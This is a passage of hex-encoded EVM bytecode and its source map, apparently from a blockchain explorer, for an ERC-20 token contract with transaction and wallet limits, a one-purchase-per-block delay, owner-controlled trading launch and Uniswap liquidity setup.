340d565b604082019050919050565b60006128da601a83612d09565b91506128e58261345c565b602082019050919050565b60006128fd602483612d09565b915061290882613485565b604082019050919050565b6000612920601783612d09565b915061292b826134d4565b602082019050919050565b61293f81612ff0565b82525050565b61294e81612ffa565b82525050565b600060208201905061296960008301846126ce565b92915050565b600060408201905061298460008301856126ce565b61299160208301846126ce565b9392505050565b60006040820190506129ad60008301856126ce565b6129ba6020830184612936565b9392505050565b600060c0820190506129d660008301896126ce565b6129e36020830188612936565b6129f0604083018761274a565b6129fd606083018661274a565b612a0a60808301856126ce565b612a1760a0830184612936565b979650505050505050565b6000602082019050612a37600083018461273b565b92915050565b60006020820190508181036000830152612a578184612759565b905092915050565b60006020820190508181036000830152612a7881612792565b9050919050565b60006020820190508181036000830152612a98816127b5565b9050919050565b60006020820190508181036000830152612ab8816127d8565b9050919050565b60006020820190508181036000830152612ad8816127fb565b9050919050565b60006020820190508181036000830152612af88161281e565b9050919050565b60006020820190508181036000830152612b1881612841565b9050919050565b60006020820190508181036000830152612b3881612864565b9050919050565b60006020820190508181036000830152612b5881612887565b9050919050565b60006020820190508181036000830152612b78816128aa565b9050919050565b60006020820190508181036000830152612b98816128cd565b9050919050565b60006020820190508181036000830152612bb8816128f0565b9050919050565b60006020820190508181036000830152612bd881612913565b9050919050565b6000602082019050612bf46000830184612936565b92915050565b600060a082019050612c0f6000830188612936565b612c1c602083018761274a565b8181036040830152612c2e81866126dd565b9050612c3d60608301856126ce565b612c4a6080830184612936565b9695505050505050565b6000602082019050612c696000830184612945565b92915050565b6000612c79612c8a565b9050612c85828261308d565b919050565b6000604051905090565b600067ffffffffffffffff821115612caf57612cae613194565b5b612cb8826131c3565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d2582612ff0565b9150612d3083612ff0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d6557612d64613107565b5b828201905092915050565b6000612d7b82612ff0565b9150612d8683612ff0565b925082612d9657612d95613136565b5b828204905092915050565b6000808291508390505b6001851115612deb57808604811115612dc757612dc6613107565b5b6001851615612dd65780820291505b8081029050612de4856131d4565b9450612dab565b94509492505050565b6000612dff82612ff0565b9150612e0a83612ffa565b9250612e377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612e3f565b905092915050565b600082612e4f5760019050612f0b565b81612e5d5760009050612f0b565b8160018114612e735760028114612e7d57612eac565b6001915050612f0b565b60ff841115612e8f57612e8e613107565b5b8360020a915084821115612ea657612ea5613107565b5b50612f0b565b5060208310610133831016604e8410600b8410161715612ee15782820a905083811115612edc57612edb613107565b5b612f0b565b612eee8484846001612da1565b92509050818404811115612f0557612f04613107565b5b81810290505b9392505050565b6000612f1d82612ff0565b9150612f2883612ff0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f6157612f60613107565b5b828202905092915050565b6000612f7782612ff0565b9150612f8283612ff0565b925082821015612f9557612f94613107565b5b828203905092915050565b6000612fab82612fd0565b9050919050565b6000612fbd82612fd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061301282612ff0565b9050919050565b82818337600083830152505050565b60005b8381101561304657808201518184015260208101905061302b565b83811115613055576000848401525b50505050565b6000600282049050600182168061307357607f821691505b6020821081141561308757613086613165565b5b50919050565b613096826131c3565b810181811067ffffffffffffffff821117156130b5576130b4613194565b5b80604052505050565b60006130c982612ff0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130fc576130fb613107565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61350681612fa0565b811461351157600080fd5b50565b61351d81612fb2565b811461352857600080fd5b50565b61353481612fc4565b811461353f57600080fd5b50565b61354b81612ff0565b811461355657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078fc258865f26954a1dbc92c386a31e12d5a805f87140d880637c7e925ac62b564736f6c63430008040033
Deployed Bytecode Sourcemap
3694:8805:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5754:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6709:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5008:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6031:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6878:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5940:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11261:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6134:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2775:148;;;;;;;;;;;;;:::i;:::-;;4836:48;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2561:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4891:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5845:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6383:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4948:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4037:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11614:672;;;;;;;;;;;;;:::i;:::-;;6558:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12331:165;;;;;;;;;;;;;:::i;:::-;;5754:83;5791:13;5824:5;;;;;;;;;;;;;;;;;5817:12;;5754:83;:::o;6709:161::-;6784:4;6801:39;6810:12;:10;:12::i;:::-;6824:7;6833:6;6801:8;:39::i;:::-;6858:4;6851:11;;6709:161;;;;:::o;5008:46::-;;;;:::o;6031:95::-;6084:7;4633:1;4698:2;:13;;;;:::i;:::-;4676:19;:35;;;;:::i;:::-;6104:14;;6031:95;:::o;6878:313::-;6976:4;6993:36;7003:6;7011:9;7022:6;6993:9;:36::i;:::-;7040:121;7049:6;7057:12;:10;:12::i;:::-;7071:89;7109:6;7071:89;;;;;;;;;;;;;;;;;:11;:19;7083:6;7071:19;;;;;;;;;;;;;;;:33;7091:12;:10;:12::i;:::-;7071:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7040:8;:121::i;:::-;7179:4;7172:11;;6878:313;;;;;:::o;5940:83::-;5981:5;4633:1;5999:16;;5940:83;:::o;11261:243::-;2698:12;:10;:12::i;:::-;2688:22;;:6;;;;;;;;;;:22;;;2680:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4633:1:::1;4698:2;:13;;;;:::i;:::-;4676:19;:35;;;;:::i;:::-;11333:12;:22;;;;4633:1;4698:2;:13;;;;:::i;:::-;4676:19;:35;;;;:::i;:::-;11366:14;:22;;;;11410:6;11399:8;:17;;;;;;;;;;;;:::i;:::-;;11448:5;11427:20;;:26;;;;;;;;;;;;;;;;;;11469:27;4633:1;4698:2;:13;;;;:::i;:::-;4676:19;:35;;;;:::i;:::-;11469:27;;;;;;:::i;:::-;;;;;;;;11261:243:::0;:::o;6134:119::-;6200:7;6227:9;:18;6237:7;6227:18;;;;;;;;;;;;;;;;6220:25;;6134:119;;;:::o;2775:148::-;2698:12;:10;:12::i;:::-;2688:22;;:6;;;;;;;;;;:22;;;2680:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2882:1:::1;2845:40;;2866:6;::::0;::::1;;;;;;;;2845:40;;;;;;;;;;;;2913:1;2896:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2775:148::o:0;4836:48::-;;;;:::o;2561:79::-;2599:7;2626:6;;;;;;;;;;;2619:13;;2561:79;:::o;4891:50::-;;;;:::o;5845:87::-;5884:13;5917:7;;;;;;;;;;;;;;;;;5910:14;;5845:87;:::o;6383:167::-;6461:4;6478:42;6488:12;:10;:12::i;:::-;6502:9;6513:6;6478:9;:42::i;:::-;6538:4;6531:11;;6383:167;;;;:::o;4948:53::-;;;;:::o;4037:39::-;;;;;;;;;;;;;:::o;11614:672::-;2698:12;:10;:12::i;:::-;2688:22;;:6;;;;;;;;;;:22;;;2680:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11678:11:::1;;;;;;;;;;;11677:12;11669:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11764:42;11727:15;;:80;;;;;;;;;;;;;;;;;;11818:58;11835:4;11850:15;;;;;;;;;;;4633:1;4698:2;:13;;;;:::i;:::-;4676:19;:35;;;;:::i;:::-;11818:8;:58::i;:::-;11921:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11903:55;;;11967:4;11974:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11903:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11887:13;;:110;;;;;;;;;;;;;;;;;;12008:15;;;;;;;;;;;:31;;;12047:21;12078:4;12084:24;12102:4;12084:9;:24::i;:::-;12109:1;12111::::0;12113:7:::1;:5;:7::i;:::-;12121:15;12008:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12155:13;;;;;;;;;;;12148:29;;;12186:15;;;;;;;;;;;12204:14;12148:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12244:5;12230:11;;:19;;;;;;;;;;;;;;;;;;12274:4;12260:11;;:18;;;;;;;;;;;;;;;;;;11614:672::o:0;6558:143::-;6639:7;6666:11;:18;6678:5;6666:18;;;;;;;;;;;;;;;:27;6685:7;6666:27;;;;;;;;;;;;;;;;6659:34;;6558:143;;;;:::o;12331:165::-;12373:18;12392:21;12373:40;;12438:1;12427:10;:12;12424:65;;;12453:24;12466:10;12453:12;:24::i;:::-;12424:65;12331:165;:::o;316:98::-;369:7;396:10;389:17;;316:98;:::o;7199:335::-;7309:1;7292:19;;:5;:19;;;;7284:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7390:1;7371:21;;:7;:21;;;;7363:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7472:6;7442:11;:18;7454:5;7442:18;;;;;;;;;;;;;;;:27;7461:7;7442:27;;;;;;;;;;;;;;;:36;;;;7510:7;7494:32;;7503:5;7494:32;;;7519:6;7494:32;;;;;;:::i;:::-;;;;;;;;7199:335;;;:::o;7542:2475::-;7646:1;7630:18;;:4;:18;;;;7622:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7723:1;7709:16;;:2;:16;;;;7701:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7793:1;7784:6;:10;7776:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7851:17;7881:15;7897:6;7881:22;;7926:7;:5;:7::i;:::-;7918:15;;:4;:15;;;;:32;;;;;7943:7;:5;:7::i;:::-;7937:13;;:2;:13;;;;7918:32;:57;;;;;7970:4;7954:21;;:4;:21;;;;7918:57;:80;;;;;7993:4;7979:19;;:2;:19;;;;7918:80;7914:1744;;;8027:30;8053:3;8027:21;8038:9;:7;:9::i;:::-;8027:6;:10;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;8015:42;;8078:20;;;;;;;;;;;8074:509;;;8139:15;;;;;;;;;;;8125:30;;:2;:30;;;;:62;;;;;8173:13;;;;;;;;;;;8159:28;;:2;:28;;;;8125:62;8121:445;;;8324:12;8251:28;:39;8280:9;8251:39;;;;;;;;;;;;;;;;:85;8215:250;;;;;;;;;;;;:::i;:::-;;;;;;;;;8532:12;8490:28;:39;8519:9;8490:39;;;;;;;;;;;;;;;:54;;;;8121:445;8074:509;8611:13;;;;;;;;;;;8603:21;;:4;:21;;;:55;;;;;8642:15;;;;;;;;;;;8628:30;;:2;:30;;;;8603:55;:83;;;;;8664:18;:22;8683:2;8664:22;;;;;;;;;;;;;;;;;;;;;;;;;8662:24;8603:83;8599:313;;;8726:12;;8716:6;:22;;8708:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8821:14;;8811:6;8795:13;8805:2;8795:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8787:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8885:9;;:11;;;;;;;;;:::i;:::-;;;;;;8599:313;8937:13;;;;;;;;;;;8931:19;;:2;:19;;;:43;;;;;8969:4;8954:20;;:4;:20;;;;8931:43;8928:126;;;9007:31;9034:3;9007:22;9018:10;:8;:10::i;:::-;9007:6;:10;;:22;;;;:::i;:::-;:26;;:31;;;;:::i;:::-;8995:43;;8928:126;9070:28;9101:24;9119:4;9101:9;:24::i;:::-;9070:55;;9181:1;9151:9;:7;:9::i;:::-;9144:27;;;9172:4;9144:33;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:38;9140:55;;;9194:1;9184:11;;9140:55;9215:6;;;;;;;;;;;9214:7;:32;;;;;9233:13;;;;;;;;;;;9225:21;;:2;:21;;;9214:32;:47;;;;;9250:11;;;;;;;;;;;9214:47;:89;;;;;9286:17;;9265:20;:38;9214:89;:121;;;;;9317:18;;9307:9;;:28;9214:121;9210:437;;;9356:67;9373:49;9377:6;9384:37;9388:20;9409:11;;9384:3;:37::i;:::-;9373:3;:49::i;:::-;9356:16;:67::i;:::-;9442:26;9471:21;9442:50;;9535:17;;9514:18;:38;9511:121;;;9577:35;9590:21;9577:12;:35::i;:::-;9511:121;9210:437;;7914:1744;;9683:1;9673:9;:11;9670:161;;;9723:39;9752:9;9723;:24;9741:4;9723:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9698:9;:24;9716:4;9698:24;;;;;;;;;;;;;;;:64;;;;9803:4;9780:39;;9789:4;9780:39;;;9809:9;9780:39;;;;;;:::i;:::-;;;;;;;;9670:161;9859:28;9879:7;9859:9;:15;9869:4;9859:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;9843:9;:15;9853:4;9843:15;;;;;;;;;;;;;;;:44;;;;9912:40;9930:21;9941:9;9930:6;:10;;:21;;;;:::i;:::-;9912:9;:13;9922:2;9912:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;9898:9;:13;9908:2;9898:13;;;;;;;;;;;;;;;:54;;;;9983:2;9968:41;;9977:4;9968:41;;;9987:21;9998:9;9987:6;:10;;:21;;;;:::i;:::-;9968:41;;;;;;:::i;:::-;;;;;;;;7542:2475;;;;;:::o;1453:190::-;1539:7;1572:1;1567;:6;;1575:12;1559:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1599:9;1615:1;1611;:5;;;;:::i;:::-;1599:17;;1634:1;1627:8;;;1453:190;;;;;:::o;11512:92::-;11569:10;;;;;;;;;;;:19;;:27;11589:6;11569:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11512:92;:::o;10025:310::-;10066:7;10102:15;;10089:9;;:28;10086:80;;10140:14;;10133:21;;;;10086:80;10191:15;;10179:9;;:27;:64;;;;;10223:20;;10210:9;;:33;;10179:64;10176:121;;;10266:19;;10259:26;;;;10176:121;10315:12;;10308:19;;10025:310;;:::o;1651:246::-;1709:7;1738:1;1733;:6;1729:47;;;1763:1;1756:8;;;;1729:47;1786:9;1802:1;1798;:5;;;;:::i;:::-;1786:17;;1831:1;1826;1822;:5;;;;:::i;:::-;:10;1814:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1888:1;1881:8;;;1651:246;;;;;:::o;1905:132::-;1963:7;1990:39;1994:1;1997;1990:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1983:46;;1905:132;;;;:::o;10343:313::-;10385:7;10421:15;;10408:9;;:28;10405:81;;10459:15;;10452:22;;;;10405:81;10511:15;;10499:9;;:27;:64;;;;;10543:20;;10530:9;;:33;;10499:64;10496:122;;;10586:20;;10579:27;;;;10496:122;10636:12;;10629:19;;10343:313;;:::o;6261:114::-;6302:12;6347:8;6336:31;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6327:40;;6261:114;:::o;10664:98::-;10721:7;10748:1;10746;:3;10745:9;;10753:1;10745:9;;;10751:1;10745:9;10738:16;;10664:98;;;;:::o;10770:483::-;5374:4;5365:6;;:13;;;;;;;;;;;;;;;;;;10848:21:::1;10886:1;10872:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10848:40;;10917:4;10899;10904:1;10899:7;;;;;;;;;;;;;;;;;;;;;:23;;;;;;;;;::::0;::::1;10943:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10933:4;10938:1;10933:7;;;;;;;;;;;;;;;;;;;;;:32;;;;;;;;;::::0;::::1;10976:62;10993:4;11008:15;;;;;;;;;;;11026:11;10976:8;:62::i;:::-;11049:15;;;;;;;;;;;:66;;;11130:11;11156:1;11172:4;11199;11219:15;11049:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;5389:1;5410:5:::0;5401:6;;:14;;;;;;;;;;;;;;;;;;10770:483;:::o;1122:179::-;1180:7;1200:9;1216:1;1212;:5;;;;:::i;:::-;1200:17;;1241:1;1236;:6;;1228:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1292:1;1285:8;;;1122:179;;;;:::o;1309:136::-;1367:7;1394:43;1398:1;1401;1394:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1387:50;;1309:136;;;;:::o;2045:189::-;2131:7;2163:1;2159;:5;2166:12;2151:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2190:9;2206:1;2202;:5;;;;:::i;:::-;2190:17;;2225:1;2218:8;;;2045:189;;;;;:::o;-1:-1:-1:-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;:::o;7:343:1:-;84:5;109:65;125:48;166:6;125:48;:::i;:::-;109:65;:::i;:::-;100:74;;197:6;190:5;183:21;235:4;228:5;224:16;273:3;264:6;259:3;255:16;252:25;249:2;;;290:1;287;280:12;249:2;303:41;337:6;332:3;327;303:41;:::i;:::-;90:260;;;;;;:::o;356:139::-;402:5;440:6;427:20;418:29;;456:33;483:5;456:33;:::i;:::-;408:87;;;;:::o;501:143::-;558:5;589:6;583:13;574:22;;605:33;632:5;605:33;:::i;:::-;564:80;;;;:::o;650:159::-;715:5;746:6;740:13;731:22;;762:41;797:5;762:41;:::i;:::-;721:88;;;;:::o;815:137::-;869:5;900:6;894:13;885:22;;916:30;940:5;916:30;:::i;:::-;875:77;;;;:::o;971:271::-;1026:5;1075:3;1068:4;1060:6;1056:17;1052:27;1042:2;;1093:1;1090;1083:12;1042:2;1133:6;1120:20;1158:78;1232:3;1224:6;1217:4;1209:6;1205:17;1158:78;:::i;:::-;1149:87;;1032:210;;;;;:::o;1248:139::-;1294:5;1332:6;1319:20;1310:29;;1348:33;1375:5;1348:33;:::i;:::-;1300:87;;;;:::o;1393:143::-;1450:5;1481:6;1475:13;1466:22;;1497:33;1524:5;1497:33;:::i;:::-;1456:80;;;;:::o;1542:262::-;1601:6;1650:2;1638:9;1629:7;1625:23;1621:32;1618:2;;;1666:1;1663;1656:12;1618:2;1709:1;1734:53;1779:7;1770:6;1759:9;1755:22;1734:53;:::i;:::-;1724:63;;1680:117;1608:196;;;;:::o;1810:284::-;1880:6;1929:2;1917:9;1908:7;1904:23;1900:32;1897:2;;;1945:1;1942;1935:12;1897:2;1988:1;2013:64;2069:7;2060:6;2049:9;2045:22;2013:64;:::i;:::-;2003:74;;1959:128;1887:207;;;;:::o;2100:300::-;2178:6;2227:2;2215:9;2206:7;2202:23;2198:32;2195:2;;;2243:1;2240;2233:12;2195:2;2286:1;2311:72;2375:7;2366:6;2355:9;2351:22;2311:72;:::i;:::-;2301:82;;2257:136;2185:215;;;;:::o;2406:407::-;2474:6;2482;2531:2;2519:9;2510:7;2506:23;2502:32;2499:2;;;2547:1;2544;2537:12;2499:2;2590:1;2615:53;2660:7;2651:6;2640:9;2636:22;2615:53;:::i;:::-;2605:63;;2561:117;2717:2;2743:53;2788:7;2779:6;2768:9;2764:22;2743:53;:::i;:::-;2733:63;;2688:118;2489:324;;;;;:::o;2819:552::-;2896:6;2904;2912;2961:2;2949:9;2940:7;2936:23;2932:32;2929:2;;;2977:1;2974;2967:12;2929:2;3020:1;3045:53;3090:7;3081:6;3070:9;3066:22;3045:53;:::i;:::-;3035:63;;2991:117;3147:2;3173:53;3218:7;3209:6;3198:9;3194:22;3173:53;:::i;:::-;3163:63;;3118:118;3275:2;3301:53;3346:7;3337:6;3326:9;3322:22;3301:53;:::i;:::-;3291:63;;3246:118;2919:452;;;;;:::o;3377:407::-;3445:6;3453;3502:2;3490:9;3481:7;3477:23;3473:32;3470:2;;;3518:1;3515;3508:12;3470:2;3561:1;3586:53;3631:7;3622:6;3611:9;3607:22;3586:53;:::i;:::-;3576:63;;3532:117;3688:2;3714:53;3759:7;3750:6;3739:9;3735:22;3714:53;:::i;:::-;3704:63;;3659:118;3460:324;;;;;:::o;3790:278::-;3857:6;3906:2;3894:9;3885:7;3881:23;3877:32;3874:2;;;3922:1;3919;3912:12;3874:2;3965:1;3990:61;4043:7;4034:6;4023:9;4019:22;3990:61;:::i;:::-;3980:71;;3936:125;3864:204;;;;:::o;4074:373::-;4142:6;4191:2;4179:9;4170:7;4166:23;4162:32;4159:2;;;4207:1;4204;4197:12;4159:2;4278:1;4267:9;4263:17;4250:31;4308:18;4300:6;4297:30;4294:2;;;4340:1;4337;4330:12;4294:2;4368:62;4422:7;4413:6;4402:9;4398:22;4368:62;:::i;:::-;4358:72;;4221:219;4149:298;;;;:::o;4453:284::-;4523:6;4572:2;4560:9;4551:7;4547:23;4543:32;4540:2;;;4588:1;4585;4578:12;4540:2;4631:1;4656:64;4712:7;4703:6;4692:9;4688:22;4656:64;:::i;:::-;4646:74;;4602:128;4530:207;;;;:::o;4743:596::-;4831:6;4839;4847;4896:2;4884:9;4875:7;4871:23;4867:32;4864:2;;;4912:1;4909;4902:12;4864:2;4955:1;4980:64;5036:7;5027:6;5016:9;5012:22;4980:64;:::i;:::-;4970:74;;4926:128;5093:2;5119:64;5175:7;5166:6;5155:9;5151:22;5119:64;:::i;:::-;5109:74;;5064:129;5232:2;5258:64;5314:7;5305:6;5294:9;5290:22;5258:64;:::i;:::-;5248:74;;5203:129;4854:485;;;;;:::o;5345:179::-;5414:10;5435:46;5477:3;5469:6;5435:46;:::i;:::-;5513:4;5508:3;5504:14;5490:28;;5425:99;;;;:::o;5530:108::-;5607:24;5625:5;5607:24;:::i;:::-;5602:3;5595:37;5585:53;;:::o;5644:118::-;5731:24;5749:5;5731:24;:::i;:::-;5726:3;5719:37;5709:53;;:::o;5798:732::-;5917:3;5946:54;5994:5;5946:54;:::i;:::-;6016:86;6095:6;6090:3;6016:86;:::i;:::-;6009:93;;6126:56;6176:5;6126:56;:::i;:::-;6205:7;6236:1;6221:284;6246:6;6243:1;6240:13;6221:284;;;6322:6;6316:13;6349:63;6408:3;6393:13;6349:63;:::i;:::-;6342:70;;6435:60;6488:6;6435:60;:::i;:::-;6425:70;;6281:224;6268:1;6265;6261:9;6256:14;;6221:284;;;6225:14;6521:3;6514:10;;5922:608;;;;;;;:::o;6536:109::-;6617:21;6632:5;6617:21;:::i;:::-;6612:3;6605:34;6595:50;;:::o;6651:147::-;6746:45;6785:5;6746:45;:::i;:::-;6741:3;6734:58;6724:74;;:::o;6804:364::-;6892:3;6920:39;6953:5;6920:39;:::i;:::-;6975:71;7039:6;7034:3;6975:71;:::i;:::-;6968:78;;7055:52;7100:6;7095:3;7088:4;7081:5;7077:16;7055:52;:::i;:::-;7132:29;7154:6;7132:29;:::i;:::-;7127:3;7123:39;7116:46;;6896:272;;;;;:::o;7174:366::-;7316:3;7337:67;7401:2;7396:3;7337:67;:::i;:::-;7330:74;;7413:93;7502:3;7413:93;:::i;:::-;7531:2;7526:3;7522:12;7515:19;;7320:220;;;:::o;7546:366::-;7688:3;7709:67;7773:2;7768:3;7709:67;:::i;:::-;7702:74;;7785:93;7874:3;7785:93;:::i;:::-;7903:2;7898:3;7894:12;7887:19;;7692:220;;;:::o;7918:366::-;8060:3;8081:67;8145:2;8140:3;8081:67;:::i;:::-;8074:74;;8157:93;8246:3;8157:93;:::i;:::-;8275:2;8270:3;8266:12;8259:19;;8064:220;;;:::o;8290:366::-;8432:3;8453:67;8517:2;8512:3;8453:67;:::i;:::-;8446:74;;8529:93;8618:3;8529:93;:::i;:::-;8647:2;8642:3;8638:12;8631:19;;8436:220;;;:::o;8662:366::-;8804:3;8825:67;8889:2;8884:3;8825:67;:::i;:::-;8818:74;;8901:93;8990:3;8901:93;:::i;:::-;9019:2;9014:3;9010:12;9003:19;;8808:220;;;:::o;9034:366::-;9176:3;9197:67;9261:2;9256:3;9197:67;:::i;:::-;9190:74;;9273:93;9362:3;9273:93;:::i;:::-;9391:2;9386:3;9382:12;9375:19;;9180:220;;;:::o;9406:366::-;9548:3;9569:67;9633:2;9628:3;9569:67;:::i;:::-;9562:74;;9645:93;9734:3;9645:93;:::i;:::-;9763:2;9758:3;9754:12;9747:19;;9552:220;;;:::o;9778:366::-;9920:3;9941:67;10005:2;10000:3;9941:67;:::i;:::-;9934:74;;10017:93;10106:3;10017:93;:::i;:::-;10135:2;10130:3;10126:12;10119:19;;9924:220;;;:::o;10150:366::-;10292:3;10313:67;10377:2;10372:3;10313:67;:::i;:::-;10306:74;;10389:93;10478:3;10389:93;:::i;:::-;10507:2;10502:3;10498:12;10491:19;;10296:220;;;:::o;10522:366::-;10664:3;10685:67;10749:2;10744:3;10685:67;:::i;:::-;10678:74;;10761:93;10850:3;10761:93;:::i;:::-;10879:2;10874:3;10870:12;10863:19;;10668:220;;;:::o;10894:366::-;11036:3;11057:67;11121:2;11116:3;11057:67;:::i;:::-;11050:74;;11133:93;11222:3;11133:93;:::i;:::-;11251:2;11246:3;11242:12;11235:19;;11040:220;;;:::o;11266:366::-;11408:3;11429:67;11493:2;11488:3;11429:67;:::i;:::-;11422:74;;11505:93;1